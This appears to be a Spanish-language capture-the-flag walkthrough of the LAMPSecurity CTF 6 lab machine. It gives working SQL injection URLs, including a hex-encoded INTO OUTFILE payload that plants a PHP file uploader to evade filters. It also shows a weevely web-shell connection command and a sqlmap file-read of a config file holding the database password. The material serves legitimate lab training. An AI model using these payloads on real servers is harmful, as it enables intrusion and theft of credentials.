11
LAMPSecurity:CTF 6 Challenge [Q]3rV[0]

Solucionario: LAMPSecurity: CTF 6 Challenge por [Q]3rV[0]

Embed Size (px)

DESCRIPTION

Solucionario: LAMPSecurity: CTF 6 Challenge por [Q]3rV[0]

Citation preview

LAMPSecurity:CTF 6 Challenge

[Q]3rV[0]

Una vez descargada la imagen virtual me dispongo a correrla con virtual-box.

Realizo un sondeo de ping, para descrubrir el/los host activos en la red 192.168.1.0/24

Una vez descubierta la direccion ip de la maquina virtual 192.168.1.33, procedo a realizar un analisis de puertos, servicios y del sistema operativo.

Mi analisis de intrucion, se centro en la aplicacion web, ademas de indagar por varios lados, aproveche una vulnerabilidad de sql injection para inyectar codigo php en el servidor y obtener acceso.Se encuentra el siguiente parametro vulnerable a sqlihttp://192.168.1.33/index.php?id=1Busco informacion del usuario que corre la db, asi como la version y nombre de la mismahttp://192.168.1.33/index.php?id=1+union+select+1,2,concat(database(), 0x3a, user(), 0x3a, version()),4,5,6,7--

Busco informacion sobre los privilegios que posee el usuario cms_user@localhost usando la herramienta sqlmap, y me encuentro con la sorpresa de que el usuario corre como administrador, ademas de poseer potenciales permisos como FILE.

Habiendo obtenido este tipo de informacion, se me ocurre utilizar la funcion 'INTO OUTFILE' para inyectar un upload en la aplicaccion web, pero primero realizo una exhaustiva busqueda de directorios en la zona publica, para probar con varios de ellos hasta encontrar permisos de escritura para el usuario cms_user.finalmente logro escribir dentro dehttp://192.168.1.33/phpMyAdmin-3.0.0-all-languages/config/

Logrando inyectar la siguiente sentencia:

192.168.1.33/index.php?id=1+union+select+1,2,3,4,5,6,7+into+outfile+'/var/www/html/phpMyAdmin-3.0.0-all-languages/config/upload.php'+lines+terminated+by+0x273c3f706870206563686f20273c623e3c62723e3c62723e272e7068705f756e616d6528292e273c62723e3c2f623e273b206563686f20273c666f726d20616374696f6e3d2222206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d2275706c6f61646572222069643d2275706c6f61646572223e273b206563686f20273c696e70757420747970653d2266696c6522206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d227375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b2069662820245f504f53545b275f75706c275d203d3d202255706c6f6164222029207b202069662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b206563686f20273c623e63726564697473203a207777772e646576696c73636166652e696e3c2f623e3c62723e3c62723e273b207d2020656c7365207b206563686f20273c623e55706c6f616420537563657373202121213c2f623e3c62723e3c62723e273b207d207d203f3e27--

El codigo del upload, fue encodeado en ascii hex para evadir filtros.

El resultado es el siguiente, logrando crear el fichero 'upload.php' en el directorio /var/www/html/phpMyAdmin-3.0.0-all-languages/config/

Genero una shell con weevely y la subo al servidor por medio del upload que acabo de inyectar.

Conectamos con ./weevely.py http://192.168.1.33/phpMyAdmin-3.0.0-all-languages/config/q3rv0.php q3rv0 Ahora ya tengo acceso en el servidor como el usuario apache, solo queda elevar privilegios.

La verdad es que me parecio un servidor bastante abierto en cuanto a posibilidades de imaginar diversas tecnicas de intrusion, tambien aprovechando la vulnerabilidad sqli, se podria leer el fichero index.php en /var/www/html/ para obtener el passwd de la db.

Si miramos bien en el fichero, vemos que el password en texto plano lo provee el archivo /conf/config.ini el cual es llamado a travez de la variable $configs, entonces buscamos dicho archivo../sqlmap.py -u 192.168.1.33/index.php?id=1 --file-read=/var/www/html/conf/config.ini

Y ahora nos podemos secuestrar el phpmyadmin para subir alguna shell.